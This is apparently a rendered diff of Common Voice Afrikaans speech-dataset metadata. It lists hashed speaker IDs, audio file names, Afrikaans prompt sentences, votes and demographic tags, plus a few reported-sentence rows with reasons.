11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022835.mp3 0fb1130bb3f57c071d2aa5fce8ff48acc4cf22fda5ce0146408b814e4f3d51b5 Die vroeë ontwikkelingstadium is deurslaggewend vir die algehele resultaat en groei van die voël. 0 2 twenties male_masculine af
|
| 136 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022836.mp3 0aa6b426b54683b0d0597db30661ebd071560e1201a70a16b41edfbd639bd40b Wonder jy dalk of jy die Bybel op jou foon kan kry? 0 2 twenties male_masculine af
|
| 137 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022837.mp3 17ddaa27944ab42563b5b562f29e07b687895f8f409d30d8afce628e1130a287 Kom ons kyk weer na die formaat van 'n joernaalartikel. 0 2 twenties male_masculine af
|
| 138 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022843.mp3 25185911ae83344db9ffb0631fd42b410a7e1f34d8494b6d47815baec2afa6cb Presisieboerdery kan gebruik word om boerderybestuur vanuit verskeie perspektiewe te verbeter. 0 2 twenties male_masculine af
|
| 139 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022844.mp3 08327e19f7ff2e5e0ac06798c77d80794c401212e56c7bda199976b22789eeb5 Interne en eksterne handelsmerke met spesifikasies is ontwikkel, geraadpleeg en goedgekeur. 0 2 twenties male_masculine af
|
| 140 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022845.mp3 1ae4ca6aa71128941751fe19d0f71de9b28d1432da039c52763ac226e23e38bc Dit is nuttig om na hierdie kontekste te verwys wanneer wetenskaplike notasie bespreek word. 0 2 twenties male_masculine af
|
| 141 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022846.mp3 2494ea57dc5a562e12bba9c8ecd2d999074cf8454f72fcc97743882ce1295193 Gedurende die jaar het die afdeling 'n aantal onderwerpe vir interne kommunikasie geïdentifiseer. 0 2 twenties male_masculine af
|
| 142 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022847.mp3 06a6c2fdc405c2c456f5d959d41f59d6f9d8173055b6bedbe878ca94e20d3b96 Die vernaamste voorsieningskemas van oppervlakwater is die Rûensveld-Wes en Rûensveld-Oos skemas. 0 2 twenties male_masculine af
|
| 143 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022858.mp3 112d7e557a345ea0c7526ce150ec770a8609db8dfbf3efbf57b69e3140717dbd Verduidelik kortliks waarna die term identiteitsdiefstal in die konteks van Internetgebruik verwys. 0 2 twenties male_masculine af
|
| 144 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022859.mp3 10cead5647ef7403a075f8b3bc0268c941582d8c67c8df9469fd9544a14766b9 Die terroriste het die politici gegryp. 0 2 twenties male_masculine af
|
| 145 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022860.mp3 02426555b6bc0e0b6fa70970655620b7fd1a21855ffb2b6aa9d42a6bfc8c8332 My naam is John 0 2 twenties male_masculine af
|
| 146 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022861.mp3 06463d5113204a6042ae0eeb56a16fe6ece8d8b79abdf554de72bd9633b07b72 Hy het egter swak diensleweringsvlakke as een van Toerisme se grootste uitdagings geïdentifiseer. 0 2 twenties male_masculine af
|
| 147 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022862.mp3 0b5192037f9c40ac4125657eb186d3eda9f55bfe82ad5561a643ca124c38c97d Dienste gelewer deur die Voogdyfonds vir betaling van Erfenisse en Onderhoudstoelae is gratis. 0 2 twenties male_masculine af
|
| 148 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022868.mp3 07310f49207d2dc281b1e412cf21a0ff771ee4d5963ad026a3783136127d7f08 Die Department van Openbare Werke en Paaie sal die implementeringsagent vir die projek wees. 0 2 twenties male_masculine af
|
| 149 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022869.mp3 106989e8eebd654923e671f75efb8360725385860fedb7a69db9a7e1f9f6e073 Dit kan in verband gebring word met die onmededingende salarisstruktuur van die Staatsdiens. 0 2 twenties male_masculine af
|
| 150 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022870.mp3 0a04273a3b666e753e1d6c010c2671d913694e0062ac7fd355e57760f96502e5 Die instandhouding van paaie word gewoonlik uitgekontrakteer na die distriksmunisipaliteite. 0 2 twenties male_masculine af
|
| 151 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022871.mp3 08269b901b4d8c0c8c12cba04a7933daebda6de3c83350dd7739f42f8c87ea27 Ontleed die verskillende sakesiklusaanwysers en eienskappe wat in vooruitskatting gebruik word. 0 2 twenties male_masculine af
|
| 152 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022872.mp3 15857d6c14b5ae89a40344fc925bff5f494e2130e595ffa9073812e2cc5cdbfc Ons het borrels uit die diep poel sien opkom. 0 2 twenties male_masculine af
|
| 153 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022878.mp3 1f7be3c0b2eebfedbcfb790ed1a95fbe54d8b2d9ef181f24bf54ecbf183373ef Ons behoort elke geleentheid te benut om te verseker dat gelykberegtiging vanjaar bevorder word. 0 2 twenties male_masculine af
|
| 154 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022879.mp3 230731e04a21835669bac555d4b16d1136e06ae71bcebfd89501911ac0d4d6c0 Heg die aas stewig aan die vishoek vas. 0 2 twenties male_masculine af
|
| 155 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022880.mp3 17b1d43ff89097da370cd5302fadc82f4aeb6f6f85e0c428ae30db82935c26f5 Meisies wat hulle in sulke omstandighede bevind, is ook meer vatbaar vir tienerswangerskappe. 0 2 twenties male_masculine af
|
| 156 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022881.mp3 24f83c4ca1b4bc3318594c4e311430109282a213cac89e118d90cdbed5384202 Die onderstaande probleem verteenwoordig 'n genetiese kruising wat onvolledige dominansie aandui. 0 2 twenties male_masculine af
|
| 157 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022882.mp3 219f2ece983317cdb4fd464f408af715106eab49b62d651d3a83cf74ee539d83 Sommige boere plant gewasse aan vir hul herkouerdiere om optimaal te produseer en reproduseer. 0 2 twenties male_masculine af
|
| 158 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022893.mp3 06d4a9649e4ea0165c8c4f65e8d236da4fbd781195997dcac8ed667c9410fed2 Andersins mag die aanbod as onvolledig beskou word en aan diskwalifisering blootgestel word. 0 2 twenties male_masculine af
|
| 159 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022894.mp3 258ce4499fc35b770fe45de2e87dbd1988903654e31efcf91347eb90a5ccb557 Ek het gesien hoe voëls die sade pik. 0 2 twenties male_masculine af
|
| 160 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022895.mp3 20482b99e892cdabe833da48b7f9e7892ae72761448c8b5ee6d4f5e1e9b00cf8 Tussen ons flikker die gesellige aandvuurtjie. 0 2 twenties male_masculine af
|
| 161 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022896.mp3 05009364d4c11cd2ed13e2535c5910e1da44350ff98a0b85c44b226c743be204 Die probleem met Google-bronne is, is dat dit foutiewe inligting kan bevat. 0 2 twenties male_masculine af
|
| 162 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022898.mp3 0011eb9ec63793cd73c458a3c1f16db84b545f4db0fc99153b7d122baa091721 Werk koöperatief saam met maats om dansreekse te improviseer en saam te stel. 0 2 twenties male_masculine af
|
| 163 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022903.mp3 20b8bc72349719a5787e56c944c9c826f653705062fdb2e021fd18d4f01616f4 Jou pen in gal doop 0 2 twenties male_masculine af
|
| 164 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022904.mp3 20981ec91017c67f2855180ca573306a705937a5310154e3e4ae2416050a21bd Onvoldoende sketse, beskrywende notas en afmetings is ontwikkel om die werkstekening te teken. 0 2 twenties male_masculine af
|
| 165 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022905.mp3 00cdba534b7b7da9d65b589a19f1acd21d2cad7951301130a40956a49624aa37 Natuurlike seleksie vind onafhanklik in elke bevolking plaas weens verskillende omgewingstoestande. 0 2 twenties male_masculine af
|
| 166 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022906.mp3 12b86a4eee6142cbc0e56086b90a735efaa11e7c82da6ca191ba032638a5057a Die wetsontwerp sal ook die prossessering en beheer van vuurwapens en die aansoekstelsel verbeter. 0 2 twenties male_masculine af
|
| 167 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022907.mp3 22d9243e2d8684ea41f906d4cbae698ea19469e03285b50ea50767a6886bd5e6 Hy was ook 'n voormalige staatsamptenaar by die departement van openbare werke en infrastruktuur. 0 2 twenties male_masculine af
|
| 168 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053386.mp3 27257353f9d1d1cb1183dcbdc1dccc488fc0a60475f187fa528eb15fcf6069be Geen voorsiening vir aftreevoordele word in die finansiële state van die departement gemaak nie. 0 2 twenties male_masculine af
|
| 169 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053388.mp3 0371951bf77c2ac7e47a96b077cc43510da8b03f76adc96ce87becfd4fe28a72 Onderwysers moet hierdie riglyn gebruik as 'n instrument om die vakbeleidsverklaring te verken. 0 2 twenties male_masculine af
|
| 170 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053389.mp3 1b77da1885dec09b3ac6e22ad6ee657cf91563cd073367bcb903d8b8fa290d61 Dit bring ook die land se vervoerplanne in ooreenstemming met internasionale vervoertendense. 0 2 twenties male_masculine af
|
| 171 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053390.mp3 0299cf54f3b1455e321a4ff6e9d07babce04c0a198f4ca164d5ffec63744e5e3 Hierdie inligting en relevante omsendbriewe moet toeganklik wees vir alle lede van die personeel. 0 2 twenties male_masculine af
|
| 172 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053391.mp3 0681e79c97da0ad2e16d1590e20af9a5dd3b02ba858e6de55d05ad091a0916f1 Hierdie prosesse moet in 'n omgewing plaasvind waar kritiese en kreatiewe denke aangemoedig word. 0 2 twenties male_masculine af
|
| 173 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053424.mp3 1456950459b81c871a818b0d76518e1ccc8923274fa3f00972244aff76c118a4 Het jy kinders? 0 2 twenties male_masculine af
|
| 174 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053426.mp3 156a19cbf6bf7af24903894920bf360134efa2130e11de885b47b356d9cf9f27 Sommige toneelveranderings is aangedui, met sommige van die aksies wat uitgevoer moet word. 0 2 twenties male_masculine af
|
| 175 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053427.mp3 0ea9fbcbf5a31d7ce7231c36f33b5bba622d17a2d4841bbe7625f5fce13f4c7c Gemiddelde inkomste verwys na die inkome wat 'n onderneming verdien op elke verkoopte eenheid. 0 2 twenties male_masculine af
|
| 176 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053428.mp3 109fedccaa0f643cf5fc94f2862e4c690c9350b5d4939e9c9a6b77ff81df048c Implementering van die distrikveiligheidsplan as 'n toetsprojek in die Overberg sal voortgaan. 0 2 twenties male_masculine af
|
| 177 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053430.mp3 010050ec898c9f817c9bec737e06a367cd54545c58d8cda968d4ab3c1a5d097c Hulle begin verskillende standpunte oor die verlede herken en vergelyk weergawes van die verlede. 0 2 twenties male_masculine af
|
| 178 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053438.mp3 236d534d11fb3b1d8f283afd8185868e4e054aab342f86b651ed95b9f6141ef8 Voorbeelde van vasgestelde modelle sluit in tellers van enige tipe in verskillende rangskikkings. 0 2 twenties male_masculine af
|
| 179 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053439.mp3 12a63e048643d763691b29e6123294a44cda577e19f6c0bd292622f5dea92d8a Gee moontlike redes waarom hierdie nywerheidsgebied aan die buitewyke van stede ontwikkel het. 0 2 twenties male_masculine af
|
| 180 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053440.mp3 1a278a3d0feb42259e5a73af6aa0a87ad642ef05e20527fac18ce7b7efb002ff Hierdie vennootskappe duur voort om die groei en ontwikkeling van hierdie kunsvorm te verseker. 0 2 twenties male_masculine af
|
| 181 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053442.mp3 2100c019c551c850fbf86a9f526e23fccd07809b57c4e73ca65cd5f280de7cc3 Dit vervoer voedingstowwe en suurstof na alle dele van die liggaam en verwyder afvalprodukte. 0 2 twenties male_masculine af
|
| 182 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053443.mp3 0827016ba568f2fc1b45ecc5ab8d2fc209ebf757325d76c6f73a9e377bf31733 Die droogte is steeds die belangrikste bydraende faktor tot die daling in die landbousektor. 0 2 twenties male_masculine af
|
| 183 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053460.mp3 1551426a50537eceec058cb359bb1cc091fb749fa06ef86c2e26256afff80333 Die Wes-Kaapse Taalkomitee moniteer en evalueer die implementering van die Wes-Kaapse Taalbeleid. 0 2 twenties male_masculine af
|
| 184 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053462.mp3 01b6e7aed8b66e59716230eb0a2a9184b2563398eaa41eb49745f1f17493d8f0 Identifiseer die tipe integrasiestrategie wat in elk van die onderstaande voorbeelde gebruik word. 0 2 twenties male_masculine af
|
| 185 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053463.mp3 03026718d87a83138e9e48637be33791abbc0d2dfa1ed342941b09ac8a826051 Dit sal hom bevredig as hy sy drome kan verwesenlik. 0 2 twenties male_masculine af
|
| 186 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053464.mp3 2704c8f8f44116c64083f4789bb564a140c722eafcd06fcca4f0c15de67e9679 Vee jou voete aan die mat af voor jy inkom. 0 2 twenties male_masculine af
|
| 187 |
+
9772e1e29f1ce9a01bb29f8d9a621132bd9a2c120e7ab94f234b03df46f8cc1b9c329217dd3a4f4929209b76d2d27f102680a1b8dbabfd8ae3f35d7d8f62439e common_voice_af_39053465.mp3 19d66ab044eddd4d9447e9df3c484f7490d54cf2d8a2c97f81bb7a91930bb4cc My baba hou daarvan dat ek haar maag kielie. 0 2 twenties male_masculine af
|
| 188 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597121.mp3 204d2344da528b14e4c1c43e2aa8deb1cee0e449b16695a092cd8a60aac817d2 Bepaal die mediaangetal dae siekeverlof wat deur die werknemers van Mango Computech geneem is. 1 2 fourties female_feminine af
|
| 189 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597208.mp3 28ef81d24622fdd489d4ce5fadd56c0e630d96999bb4580e7f7e9ba518d041dd Dit verstrek ook inligting oor die advertering van en aanstellings in seniorbestuursdiensposte. 0 2 fourties female_feminine af
|
| 190 |
+
99c8b4c73ccaff2bb187cf87b92bf10b996041dd9e69a49024b24bbcd0a4621d3366248f6902c6d3699da2f39bf0dbad4b9fe1d649c04ced063e3ca1fca26a1c common_voice_af_39760358.mp3 129b790ea5f43f165ace3dedee1dc14ebbea9b44bd2984cb8c6a77a5489c7be2 Deur hierdie frase by te voeg, bevestig Lindi die onderwerp. 0 2 af
|
| 191 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809503.mp3 0006b4cf46c00dc449ef6a77f3db80cd1b3bfe70d4eaeac9fae11ebe1d8faaa8 Volgens ingeligtes het dit ook 'n afname in die aanwending ten gevolg gehad. 0 4 twenties female_feminine Capetonian af
|
| 192 |
+
84255e40bf1264c2674828c272e310a10a68b0834711c666bcc0ef1d57114a2c524ee2cc8297ff9c44e861a8487572c0d29d23ad778ce4c8e2aba5f7b250dd4b common_voice_af_39879078.mp3 2908f9e8ce9bb2de0ebca319c55153bbbee8b67fa4e0ba7c1128fc8f5099d813 Gebruik struktuurformules om die vergelyking neer te skryf wat die vorming van etanol voorstel. 1 2 Midlandse Afrikaans af
|
| 193 |
+
84255e40bf1264c2674828c272e310a10a68b0834711c666bcc0ef1d57114a2c524ee2cc8297ff9c44e861a8487572c0d29d23ad778ce4c8e2aba5f7b250dd4b common_voice_af_39879079.mp3 20c6b1e3c8353d82fd21299eebe4d5516e5b7c47be6159939a396492bef20929 Waar hulpbronne beskikbaar is, sal dienste ook na nie-geaffilieerde museums uitgebrei word. 0 2 Midlandse Afrikaans af
|
| 194 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40435284.mp3 332868f3aa4f7a061e7a91650c0a761f37746658c4bc17512c96e1faa31ce7b8 Die totale aantal werknemers verwys na alle werknemers wat gedurende die oorsigtydperk vergoed is. 0 2 fifties Transvaal, white af
|
| 195 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437809.mp3 267e64ba5af89ed00d45973493a10cfe4bebc1c4072807f0c87d44f901ed690e Boetes en verbeurings is verpligte inkomstes soos deur 'n hof of kwasi-jurisdiksie ingestel. 2 2 fifties male_masculine standaard af
|
| 196 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437812.mp3 366536752b2094904f008032c5b8ee0dae33a9859f7e6aea7d5af7059e970784 Ons besoek my ma se familie een keer per jaar. 2 2 fifties male_masculine standaard af
|
| 197 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40728041.mp3 2ce299346738ed5be7782409e3759dced166e93de34c09e2b126882580049479 Jy moet jou onderwyser gehoorsaam. 0 2 twenties female_feminine Vrystaat af
|
| 198 |
+
d3982383099fea06238cc1f2b64f789ae1ef647d21fc4b0ea9841a3e4f533f2678053c09238e5a4d1c3b15e0e017c0f4540830167a68ee39da2130f6a7431792 common_voice_af_41646219.mp3 2539a2bf2f3927fb7f1dc6ae12f366b746f1928e8e6ac45f66c26a0d4af3dc07 Hierdie aksieplanne sal as kort-, medium- en langtermyntussenkomste in werking gestel word. 0 2 Weskus,Kaapstad af
|
| 199 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41655337.mp3 2f515e6f7666a189e0093d9d89984851cf62cedabdb8377374a01233ea261c93 Die meisies het gewoonlik vroue-onderwysers, terwyl die seuns deur mansonderwysers onderrig word. 0 2 fourties af
|
transcript/af/other.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/af/reported.tsv
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
sentence_id sentence locale reason
|
| 2 |
+
2af52e8431ccb92ecffb61b0a0a3a6a8b40a5718634cb802118488abf6ef32da Die potensiële verskil wat deur elektromagnetisme veroorsaak word, wat 'n stroom laat vloei. af Die sin, na die komma, maak nie sin nie
|
| 3 |
+
3dd5e15b3f8027e85b74f601e77e8ecbeae94a757a2cbf98637042bdaf872472 Bespreking van die storie en skryfaktiwiteit gebaseer op die agtergrond, karakters en intrige. af Sin maak nie sin as ‘n enkeling nie
|
| 4 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 5 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 6 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 7 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 8 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 9 |
+
00566e897a037bedb38259bba884b228242551b29fccc0e6341808329fe65c5f Tegnologie het verlede jaar idees vir die nuwe Landswapen van die publiek gevra. af offensive-language
|
| 10 |
+
